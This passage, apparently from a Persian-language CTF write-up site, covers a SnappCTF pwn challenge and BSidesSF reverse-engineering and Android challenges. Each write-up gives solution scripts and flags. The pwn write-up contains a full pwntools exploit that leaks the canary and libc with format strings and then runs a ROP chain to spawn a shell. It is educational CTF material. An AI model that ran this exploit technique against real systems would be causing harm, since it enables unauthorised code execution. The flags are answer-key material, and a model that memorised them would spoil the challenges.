\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 canary \u0631\u0648 \u0627\u0648\u06a9\u06cc \u06a9\u0631\u062f\u06cc\u0645 \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a \u0642\u0633\u0645\u062a \u0633\u062e\u062a \u0645\u0627\u062c\u0631\u0627 \u06cc\u0639\u0646\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 gadget \u0647\u0627\u06cc \u0645\u0646\u0627\u0633\u0628 \u0648 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632\u0634\u0648\u0646 \u0628\u0631\u0627\u06cc \u0633\u0627\u062e\u062a \u0632\u0646\u062c\u06cc\u0631\u0647 ROP \u0627\u0645\u0648\u0646 \u0648 \u0627\u06cc\u0646\u06a9\u0647 \u0686\u0637\u0648\u0631\u06cc \u0645\u06cc\u0634\u0647 \u0627\u06cc\u0646 \u0632\u0646\u062c\u06cc\u0631\u0647 \u0631\u0648 \u0628\u0647 \u062e\u0648\u0631\u062f \u0628\u0631\u0646\u0627\u0645\u0647 \u062f\u0627\u062f.

\u062c\u0648\u0627\u0628 \u0645\u0627 \u062a\u0648\u06cc \u062a\u0627\u0628\u0639 find_index \u0647\u0633\u062a. \u062a\u0648\u06cc \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0628\u0627 \u06cc\u06a9 gets \u0631\u0648 \u0628\u0647 \u0631\u0648 \u0647\u0633\u062a\u06cc\u0645 \u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u06cc\u0641\u0627\u0644\u062a \u0648\u0642\u062a\u06cc \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0631\u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u0628\u0627\u06cc\u062f \u06cc\u0627\u062f \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc BufferOverflow \u0628\u06cc\u0648\u0641\u062a\u06cc\u0645.

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0642\u0633\u0645\u062a \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0628\u062f\u0648\u0646\u06cc\u0646 \u0628\u0647 \u0686\u0647 gadget \u0647\u0627\u06cc\u06cc \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u06cc\u062f \u0648 \u062f\u0633\u062a\u062a\u0648\u0646 \u0628\u06cc\u0627\u062f \u062d\u062f\u0648\u062f\u0627 \u06a9\u0647 \u0686\u0637\u0648\u0631\u06cc \u0628\u0627\u06cc\u062f ROP \u0631\u0648 \u0627\u0648\u06a9\u06cc \u06a9\u0646\u06cc\u062f (\u0648 \u06cc\u06a9\u0645\u0645 \u062e\u0648\u062f\u062a\u0648\u0646 \u062a\u0644\u0627\u0634 \u06a9\u0646\u06cc\u0646) \u0627\u0631\u062c\u0627\u0639\u062a\u0648\u0646 \u0645\u06cc\u062f\u0645 \u0628\u0647 \u0644\u06cc\u0646\u06a9 \u0647\u0627\u06cc \u0632\u06cc\u0631: Bypassing Canary & PIE

ROP - Leaking LIBC address

ROP: bypass NX, ASLR, PIE and Canary

\u0627\u0632 \u062c\u0645\u0644\u0647 \u0645\u0648\u0627\u0631\u062f\u06cc \u06a9\u0647 \u0646\u06cc\u0627\u0632 \u0645\u06cc\u0634\u0647 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0647\u0634 \u062a\u0648\u062c\u0647 \u06a9\u0646\u06cc\u0646 \u0627\u06cc\u0646 \u0647\u0633\u062a \u0628\u0631\u0627\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 gadget \u0647\u0627 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0646\u06cc\u0627\u0632\u062a\u0648\u0646 \u0645\u06cc\u0634\u0647 \u06a9\u0647 \u0627\u0632 libc \u062f\u0631\u0633\u062a\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0648\u0627\u0633\u0647 \u0627\u06cc\u0646\u06a9\u0627\u0631 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0627\u0648\u0646 Dockerfile \u062f\u0642\u062a \u0645\u06cc\u06a9\u0631\u062f\u06cc\u062f \u0648 \u0628\u0639\u062f \u0627\u0632 \u0648\u0635\u0644 \u0634\u062f\u0646 \u0628\u0647 docker \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0631\u062f\u06cc\u062f \u062a\u0627 libc \u0627\u0635\u0644\u06cc \u0631\u0648 \u06a9\u067e\u06cc \u06a9\u0646\u06cc\u062f \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u062e\u0648\u062f\u062a\u0648\u0646. \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0645\u06cc\u062a\u0648\u0646\u0647 \u06a9\u0627\u0631 \u0631\u0648 \u062f\u0631\u0628\u06cc\u0627\u0631\u0647 :

. docker cp 4fd9a29bfcdc:/usr/lib/x86_64-linux-gnu/libc.so.6

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0634\u0645\u0627 libc \u0631\u0648 \u062f\u0627\u0631\u06cc\u062f \u0648 \u062a\u0646\u0647\u0627 \u06a9\u0627\u0641\u06cc\u0647 \u062a\u0627 \u0628\u0631\u0627\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 pop \u0648 sh \u0648 ret \u0648 system \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 ROPgadget \u0648 \u06cc\u06a9\u0645\u0645 pwntools \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u06cc\u06a9 \u0646\u0645\u0648\u0646\u0647 \u0631\u0648 \u0647\u0645 \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u062a\u0648\u06cc \u062a\u0635\u0648\u06cc\u0631 \u0632\u06cc\u0631 \u0628\u0628\u06cc\u0646\u06cc\u062f:

\u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0628\u0639\u062f \u0627\u0632 \u0647\u0645\u0647 \u0627\u06cc\u0646 \u0642\u0636\u0627\u06cc\u0627 \u0628\u0647 exploit \u0632\u06cc\u0631 \u0645\u06cc\u0631\u0633\u06cc\u0645 :

from pwn import *\n\ndef index(s):\n    p.sendlineafter(b'4- exit\\n', b\"3\")\n    p.sendline(s)\n    return p.readline().rstrip()\n\ndef echo(s):\n    p.sendlineafter(b'4- exit\\n', b\"1\")\n    p.sendlineafter(b'Enter your input\\n', s.encode())\n    return p.readline().strip()\n\n#p = remote('91.107.177.236', 3117)\np = process('./shell_patched')\nlibc = ELF('./libc.so.6', checksec = False)\n\nlibc_add = echo(f'%33$p')\n\ncanary = p64(int(echo(f'%31$p'), 16))\n\nlibc_add = p64(int(libc_add, 16))\n\nlibc_add = int.from_bytes(libc_add, byteorder = 'little')\n\nlibc.address = (libc_add - 0x1e40) - 0x0000000000028000\n\npop = libc.address + 0x000000000002a3e5\n\nret = libc.address + 0x0000000000029139\n\nfinal_payload = b'A' * 19 + b'SNAPP' + canary + b'\\x00' * 8 +  p64(pop) + p64(next(libc.search(b'/bin/sh\\x00'))) + p64(ret) + p64(libc.sym[b'system'])\n\np.sendlineafter(b'4- exit\\n', b\"3\")\np.sendline(final_payload)\n\np.interactive()\np.close()\n

FLAG

SNAPP{Sn4Pp_sH3ll_leT_m3_!!nn}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

nim0x2a

","tags":["SnappCTF","SnappCTF-2024","PWN","Exploit","Shell","ROP","Pwntools","Canary","BufferOverflow"]},{"location":"reverse/","title":"\u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633","text":"

\u0628\u0631\u0646\u0627\u0645\u0647 \u0646\u0648\u06cc\u0633\u0627 \u0686\u06cc\u06a9\u0627\u0631 \u0645\u06cc\u06a9\u0646\u0646\u061f

\u06cc\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u0647 \u0632\u0628\u0648\u0646 \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0645\u06cc\u0646\u0648\u06cc\u0633\u0646 \u0648 \u0627\u06af\u0647 \u0632\u0628\u0648\u0646\u06cc \u06a9\u0647 \u0628\u0627\u0647\u0627\u0634 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u06cc\u0646\u0648\u06cc\u0633\u0646\u060c \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631\u06cc \u0628\u0627\u0634\u0647\u060c \u06cc\u0647 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0645\u06cc\u0627\u062f \u0648 \u06a9\u062f \u0647\u0627\u0634\u0648\u0646 \u0631\u0648 \u062a\u0628\u062f\u06cc\u0644 \u0628\u0647 \u0632\u0628\u0627\u0646 \u0627\u0633\u0645\u0628\u0644\u06cc \u0645\u06cc\u06a9\u0646\u0647 \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0627\u0646\u0633\u0627\u0646 \u062e\u0648\u0646\u062f\u0646\u0634 \u062e\u06cc\u0644\u06cc \u0633\u062e\u062a\u0647

\u0627\u06cc\u0646\u062c\u0627\u0633 \u06a9\u0647 \u0645\u0627 \u0648\u0627\u0631\u062f \u0639\u0645\u0644 \u0645\u06cc\u0634\u06cc\u0645 \u0648 \u0628\u0627 \u062e\u0648\u0646\u062f\u0646 \u0632\u0628\u0627\u0646 \u0645\u0627\u0634\u06cc\u0646 \u0648 \u0627\u0633\u0645\u0628\u0644\u06cc\u060c \u0645\u0646\u0637\u0642 \u06a9\u062f \u0631\u0648 \u062f\u0631\u06a9 \u0645\u06cc\u06a9\u0646\u06cc\u0645

\u0641\u06a9 \u06a9\u0646\u0645 \u062a\u0627 \u0627\u0644\u0627\u0646 \u0641\u0647\u0645\u06cc\u062f\u0647 \u0628\u0627\u0634\u06cc\u0646 \u06a9\u0647 \u0645\u0627 \u0627\u0646\u0633\u0627\u0646 \u0647\u0627\u06cc \u0639\u0627\u062f\u06cc \u0646\u06cc\u0633\u062a\u06cc\u0645

\u0645\u0627 \u0645\u0647\u0646\u062f\u0633\u0627\u0646 \u0645\u0639\u06a9\u0648\u0633 \u0647\u0633\u062a\u06cc\u0645

"},{"location":"reverse/writeups/BSidesSF/TuringComplete/","title":"\u0686\u0627\u0644\u0634 Turing Complete","text":"

\ud83d\udd17 \u062f\u0627\u0646\u0644\u0648\u062f \u0686\u0644\u0646\u062c

","tags":["BSidesSF","BSidesSF 2024","Reverse"]},{"location":"reverse/writeups/BSidesSF/TuringComplete/#_1","title":"\u0646\u06af\u0627\u0647 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u0633\u0648\u0627\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0628\u0647 \u0645\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627 \u0646\u0627\u0645 turing-complete \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0627 \u0686\u0647 \u0686\u06cc\u0632\u06cc \u0631\u0648\u0628\u0631\u0648 \u0647\u0633\u062a\u06cc\u0645 \u062f\u0633\u062a\u0648\u0631 file \u0631\u0648 \u0631\u0648\u0634 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645

$ file turing-complete\nturing-complete: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=4ee6521fff97311d5d2736f93b082d22538be8f3, for GNU/Linux 3.2.0, not stripped\n
\u062e\u0628 \u0628\u0647\u0645\u0648\u0646 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc 32\u0628\u06cc\u062a\u06cc \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 , \u0648 \u0637\u0628\u0642 \u0645\u0639\u0645\u0648\u0644 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a \u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9

","tags":["BSidesSF","BSidesSF 2024","Reverse"]},{"location":"reverse/writeups/BSidesSF/TuringComplete/#_2","title":"\u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9","text":"

\u0628\u0647 \u06a9\u0645\u06a9 \u0633\u0627\u06cc\u062a \u062f\u0648\u0633\u062a \u062f\u0627\u0634\u062a\u0646\u06cc dogbolt \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u062f\u0646\u0638\u0631 \u0686\u0647 \u06a9\u0627\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647. \u0645\u0639\u0645\u0648\u0644\u0627 \u0637\u0628\u0642 \u062a\u062c\u0631\u0628\u0647 Hex-Rays \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0647\u0627\u06cc \u0628\u0647\u062a\u0631\u06cc \u0645\u06cc\u062f\u0647\u060c \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0628\u06cc\u0627\u06cc\u062f \u0627\u0628\u062a\u062f\u0627 \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc \u0627\u0648\u0646 \u0646\u06af\u0627\u0647\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645:

\u062e\u0631\u0648\u062c\u06cc \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 Hex-Rays
int r()\n{\n  int v1;\n  do\n  {\n    v1 = getchar();\n    if ( v1 == -1 || !v1 || v1 == 113 )\n      return 2;\n    if ( v1 == 48 )\n      return 0;\n  }\n  while ( v1 != 49 );\n  return 1;\n}\n\nint __cdecl main(int argc, const char **argv, const char **envp)\n{\n  size_t v3; // eax\n  int v4; // esi\n  int v5; // esi\n  int v6; // esi\n  int v7; // esi\n  int v8; // esi\n  int v9; // esi\n  int v10; // esi\n  char s[128]; // [esp+1h] [ebp-A3h] BYREF\n  unsigned __int8 v13; // [esp+81h] [ebp-23h]\n  char v14; // [esp+82h] [ebp-22h]\n  char v15; // [esp+83h] [ebp-21h]\n  FILE *stream; // [esp+84h] [ebp-20h]\n  unsigned __int8 *v17; // [esp+88h] [ebp-1Ch]\n  int *p_argc; // [esp+98h] [ebp-Ch]\n\n  p_argc = &argc;\n  setvbuf(stdout, 0, 2, 0);\n  setvbuf(stderr, 0, 2, 0);\n  strcpy(s, \"Hi, thanks for reading me! The flag is: \");\n  v17 = (unsigned __int8 *)s;\n  stream = fopen(\"flag.txt\", \"r\");\n  if ( !stream )\n  {\n    puts(\"Flag file not found!\");\n    exit(1);\n  }\n  v3 = strlen(s);\n  fgets(&s[v3], 32, stream);\n  fclose(stream);\n  puts(\"01010000 01110010 01101111 01100111 01110010 01100001 01101101 00100000 01101101 01100101 00100001\");\n  while ( 1 )\n  {\n    v15 = r();\n    if ( v15 == 2 )\n      break;\n    v14 = r();\n    if ( v14 == 2 )\n      break;\n    if ( v15 || v14 )\n    {\n      if ( v15 || v14 != 1 )\n      {\n        if ( v15 != 1 || v14 )\n        {\n          if ( v15 == 1 && v14 == 1 )\n          {\n            v4 = (unsigned __int8)r() << 7;\n            v5 = ((unsigned __int8)r() << 6) | v4;\n            v6 = (32 * (unsigned __int8)r()) | v5;\n            v7 = (16 * (unsigned __int8)r()) | v6;\n            v8 = (8 * (unsigned __int8)r()) | v7;\n            v9 = (4 * (unsigned __int8)r()) | v8;\n            v10 = (2 * (unsigned __int8)r()) | v9;\n            v13 = v10 | r();\n            *v17 = v13;\n          }\n        }\n        else\n        {\n          printf(\"%08b\", *v17);\n        }\n      }\n      else\n      {\n        --v17;\n      }\n    }\n    else\n    {\n      ++v17;\n    }\n    fflush(stdout);\n  }\n  fflush(stdout);\n  return 0;\n}\n

\u0628\u0627 \u0646\u06af\u0627\u0647\u06cc \u0627\u062c\u0645\u0627\u0644\u06cc \u067e\u06cc \u0645\u06cc\u0628\u0631\u06cc\u0645 \u06a9\u0647 \u067e\u0648\u06cc\u0646\u062a\u0631 v17 \u0628\u0647 \u0631\u0634\u062a\u0647\u200c\u0627\u06cc \u062d\u0627\u0648\u06cc \u0641\u0644\u06af \u0627\u0634\u0627\u0631\u0647 \u0645\u06cc\u06a9\u0646\u062f \u0648 \u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u0627 \u06af\u0631\u0641\u062a\u0646 \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u0639\u0645\u0644 \u062e\u0648\u0646\u062f\u0646 \u0648 \u0646\u0648\u0634\u062a\u0646 \u0648 ... \u0631\u0648\u06cc \u067e\u0648\u06cc\u0646\u062a\u0631 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647\u062f - 00: \u0622\u062f\u0631\u0633 \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u067e\u0648\u06cc\u0646\u062a\u0631 \u06cc\u06a9\u06cc \u0632\u06cc\u0627\u062f \u0645\u06cc\u0634\u0648\u062f(\u0645\u06cc\u0634\u0647 \u06af\u0641\u062a \u0628\u0647 \u062e\u0648\u0646\u0647 \u0628\u0639\u062f\u06cc \u0627\u0648\u0646 \u062d\u0627\u0641\u0638\u0647 \u0627\u0634\u0627\u0631\u0647 \u0645\u06cc\u06a9\u0646\u0647) - 01: \u0622\u062f\u0631\u0633 \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u067e\u0648\u06cc\u0646\u062a\u0631 \u0631\u0648 \u06cc\u06a9\u06cc \u06a9\u0645 \u0645\u06cc\u06a9\u0646\u0647 - 10: \u0646\u0645\u0627\u06cc\u0634 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0645\u0642\u062f\u0627\u0631 \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u0627\u062f\u0631\u0633 \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u067e\u0648\u06cc\u0646\u062a\u0631 - 11: \u0646\u0648\u0634\u062a\u0646 \u062f\u0631 \u0622\u062f\u0631\u0633 \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u067e\u0648\u06cc\u0646\u062a\u0631

","tags":["BSidesSF","BSidesSF 2024","Reverse"]},{"location":"reverse/writeups/BSidesSF/TuringComplete/#_3","title":"\u062d\u0644 \u0686\u0627\u0644\u0634","text":"

\u062e\u0628 \u062d\u0627\u0644\u0627 \u06a9\u0647 \u0628\u0627 \u0631\u0648\u0646\u062f \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0634\u0646\u0627 \u0634\u062f\u06cc\u0645 \u06a9\u0627\u0641\u06cc\u0633\u062a \u062d\u0631\u0641 \u062d\u0631\u0641 \u0628\u062e\u0648\u0627\u0646\u06cc\u0645 \u0648 \u067e\u0648\u06cc\u0646\u062a\u0631 \u0631\u0627 \u0628\u0647 \u062c\u0644\u0648 \u0628\u0628\u0631\u06cc\u0645 \u062a\u0627 \u0641\u0644\u06af \u0628\u0631\u0627\u06cc\u0645\u0627\u0646 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0634\u0648\u062f.

from pwn import *\n\ncontext.log_level = \"critical\"\n# ncat --proxy-type socks5 --proxy 127.0.0.1:2080 turing-complete-8e4bdad0.challenges.bsidessf.net 1954\ncontext.proxy = (socks.SOCKS4, \"127.0.0.1\", 2080)\n\nRIGHT = '00'\nLEFT  = '01'\nPRINT = '10'\nWRITE = '11'\n\np = remote(*'turing-complete-8e4bdad0.challenges.bsidessf.net 1954'.split())\np.sendline(((PRINT+RIGHT)*60).encode())\n\nflag = p.clean(2).split()[-1]\nfor i in range(0, len(flag), 8):\n    print(chr(int(flag[i:i+8], 2)), end='')\n
FLAG

CTF{rip-1912-1954}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["BSidesSF","BSidesSF 2024","Reverse"]},{"location":"reverse/writeups/BSidesSF/shinji/","title":"Shinji","text":"

\u0627\u0648\u0644\u06cc\u0646 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u062f\u0631 \u0645\u0648\u0627\u062c\u0647\u0647 \u0628\u0627 \u0686\u0644\u0646\u062c \u0627\u0646\u062f\u0631\u0648\u06cc\u062f\u06cc \u0628\u0627\u06cc\u062f \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645 \u0686\u06cc\u0647\u061f \u0647\u0645\u062a\u0648\u0646 \u0645\u06cc\u06af\u06cc\u062f \u0627\u062c\u0631\u0627 \u0627\u0645\u0627 \u0646\u0647!! \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646\u0634 \u062a\u0648 JadX \u0627\u0648\u0644\u06cc\u0646 \u06a9\u0627\u0631\u06cc\u0647 \u06a9\u0647 \u062d\u0631\u0641\u0647 \u0627\u06cc \u0647\u0627 \u0645\u06cc\u06a9\u0646\u0646 =)))

\u0628\u0627 \u06cc\u06a9\u0645 \u06af\u0634\u062a\u0646 \u062a\u0648 \u06a9\u0644\u0627\u0633 \u0647\u0627 \u0648 \u062a\u0648\u0627\u0628\u0639 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u06cc\u0631\u0633\u06cc\u0645 \u0628\u0647 \u0627\u06cc\u0646 \u062a\u06cc\u06a9\u0647 \u06a9\u062f

    public final String flagDisplay() {\n        String string;\n        String string2;\n        String string3 = getString(R.string.app_string);\n        Intrinsics.checkNotNullExpressionValue(string3, \"getString(...)\");\n        String prefixString = \"shinji-\";\n        StringBuilder sb = new StringBuilder();\n        long seconds = System.currentTimeMillis() / 1000;\n        if (seconds >= 1577865600 && seconds <= 1735718400) {\n            String secondsString = String.valueOf(seconds);\n            String tempString = \"shinji-\" + secondsString;\n            MessageDigest md5Digest = MessageDigest.getInstance(\"MD5\");\n            byte[] bytes = tempString.getBytes(Charsets.UTF_8);\n            Intrinsics.checkNotNullExpressionValue(bytes, \"this as java.lang.String).getBytes(charset)\");\n            byte[] md5Result = md5Digest.digest(bytes);\n            Intrinsics.checkNotNull(md5Result);\n            int length = md5Result.length;\n            int i = 0;\n            while (true) {\n                string = string3;\n                String prefixString2 = prefixString;\n                if (i >= length) {\n                    break;\n                }\n                byte b = md5Result[i];\n                StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;\n                String format = String.format(\"%02X\", Arrays.copyOf(new Object[]{Byte.valueOf(b)}, 1));\n                Intrinsics.checkNotNullExpressionValue(format, \"format(format, *args)\");\n                sb.append(format);\n                i++;\n                string3 = string;\n                prefixString = prefixString2;\n                seconds = seconds;\n            }\n            String sb2 = sb.toString();\n            Intrinsics.checkNotNullExpressionValue(sb2, \"toString(...)\");\n            String md5String = sb2.toLowerCase(Locale.ROOT);\n            Intrinsics.checkNotNullExpressionValue(md5String, \"this as java.lang.String).toLowerCase(Locale.ROOT)\");\n            MessageDigest sha1Digest = MessageDigest.getInstance(\"SHA-1\");\n            byte[] bytes2 = md5String.getBytes(Charsets.UTF_8);\n            Intrinsics.checkNotNullExpressionValue(bytes2, \"this as java.lang.String).getBytes(charset)\");\n            byte[] sha1Result = sha1Digest.digest(bytes2);\n            StringBuilder sb22 = new StringBuilder();\n            Intrinsics.checkNotNull(sha1Result);\n            int length2 = sha1Result.length;\n            int i2 = 0;\n            while (i2 < length2) {\n                byte b2 = sha1Result[i2];\n                StringCompanionObject stringCompanionObject2 = StringCompanionObject.INSTANCE;\n                byte[] sha1Result2 = sha1Result;\n                String format2 = String.format(\"%02X\", Arrays.copyOf(new Object[]{Byte.valueOf(b2)}, 1));\n                Intrinsics.checkNotNullExpressionValue(format2, \"format(format, *args)\");\n                sb22.append(format2);\n                i2++;\n                length2 = length2;\n                sha1Result = sha1Result2;\n            }\n            String sb3 = sb22.toString();\n            Intrinsics.checkNotNullExpressionValue(sb3, \"toString(...)\");\n            String sha1String = sb3.toLowerCase(Locale.ROOT);\n            Intrinsics.checkNotNullExpressionValue(sha1String, \"this as java.lang.String).toLowerCase(Locale.ROOT)\");\n            if (Intrinsics.areEqual(sha1String, \"75b1d234851cdc94899eae8c97adce769e8ddb26\")) {\n                Intrinsics.checkNotNullExpressionValue(getString(R.string.part_one), \"getString(...)\");\n                return (string2 + secondsString) + getString(R.string.part_three);\n            }\n            return string;\n        }\n        return string3;\n    }\n

\u062a\u06cc\u06a9\u0647 \u0627\u0648\u0644 \u06a9\u062f \u06a9\u0647 \u0648\u0627\u0636\u062d\u0627 \u062f\u0631 \u062d\u0627\u0644 \u0633\u0627\u062e\u062a \u06cc\u06a9 \u0641\u0631\u0645\u062a shinji-1577865600 \u0647\u0633\u062a. \u0627\u0645\u0627 \u0639\u062f\u062f\u06cc \u06a9\u0647 \u062c\u0644\u0648\u0634 \u0642\u0631\u0627\u0631 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u062a\u0627\u06cc\u0645 \u0627\u0633\u062a\u0645\u067e \u0627\u0648\u0646 \u0644\u062d\u0638\u0647 \u0627\u0633 (\u0627\u06af\u0647 \u0646\u0645\u06cc\u062f\u0648\u0646\u06cc\u0646 \u062a\u0627\u06cc\u0645 \u0627\u0633\u062a\u0645\u067e \u0686\u06cc\u0647\u060c \u0627\u06cc\u0646\u062c\u0627 \u0631\u0648 \u0628\u062e\u0648\u0646\u06cc\u062f)

\u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0645\u06cc\u0627\u062f \u0627\u0632\u0634 md5 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0628\u0639\u062f\u0634 \u0647\u06af\u0632 \u0627\u0648\u0646 \u0631\u0648 \u062f\u0631\u0645\u06cc\u0627\u0631\u0647 \u0648 \u0627\u0632 \u0647\u06af\u0632 \u0627\u0648\u0646 sha1 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0628\u0627 75b1d234851cdc94899eae8c97adce769e8ddb26 \u0645\u0642\u0627\u06cc\u0633\u0634 \u0645\u06cc\u06a9\u0646\u0647 \u0627\u06af\u0647 \u0628\u0631\u0627\u0628\u0631 \u0628\u0627\u0634\u0647\u060c \u062a\u0627\u06cc\u0645 \u0627\u0648\u0646 \u0644\u062d\u0638\u0647 \u0631\u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u0641\u0644\u06af \u0628\u0647\u0645\u0648\u0646 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647

\u06a9\u0627\u0631 \u0633\u0627\u062f\u0647 \u0648 \u0631\u0648\u0634\u0646\u0647 \u06cc\u0647 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0645\u06cc\u062e\u0648\u0627\u06cc\u0645 \u06a9\u0647 \u0627\u0648\u0646 \u062a\u0627\u06cc\u0645 \u0631\u0648 \u0628\u0631\u0648\u062a \u0641\u0648\u0631\u0633 \u06a9\u0646\u0647 \u0648 \u0627\u06af\u0647 \u0647\u0634 \u0635\u062f\u0642 \u0645\u06cc\u06a9\u0631\u062f\u060c \u0639\u062f\u062f \u0631\u0648 \u0628\u0647 \u0645\u0627 \u0628\u0631\u06af\u0631\u062f\u0648\u0646\u0647

from hashlib import sha1, md5\n\nfor i in range(1577865600, 1735718400):\n    if sha1(md5(\"shinji-{}\".format(i).encode()).hexdigest().encode()).hexdigest().lower() == \"75b1d234851cdc94899eae8c97adce769e8ddb26\":\n        break\n\nprint(\"CTF{{{}}}\".format(i))\n

\u0628\u0639\u062f \u0627\u0632 \u0686\u0646\u062f \u062f\u0642\u06cc\u0642\u0647 \u0627\u062c\u0631\u0627\u060c \u0641\u0644\u06af \u0628\u0647 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0645\u06cc\u0627\u062f

FLAG

CTF{1615212000}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Reverse","Android"]},{"location":"reverse/writeups/BSidesSF/whishing-well/","title":"Whishing well","text":"

\u0627\u06af\u0647 \u0631\u0627\u06cc\u062a\u0627\u067e \u0642\u0628\u0644\u06cc \u0631\u0648 \u062e\u0648\u0628 \u062e\u0648\u0646\u062f\u0647 \u0628\u0627\u0634\u06cc\u0646\u060c \u0645\u06cc\u062f\u0648\u0646\u06cc\u062f \u06a9\u0647 \u0627\u0648\u0644\u06cc\u0646 \u06a9\u0627\u0631 \u062f\u0631 \u0645\u0648\u0627\u062c\u0647 \u0628\u0627 \u06cc\u0647 \u0641\u0627\u06cc\u0644 apk\u060c \u0628\u0627\u0632\u06a9\u0631\u062f\u0646\u0634 \u062a\u0648 JadX \u0647\u0633\u062a

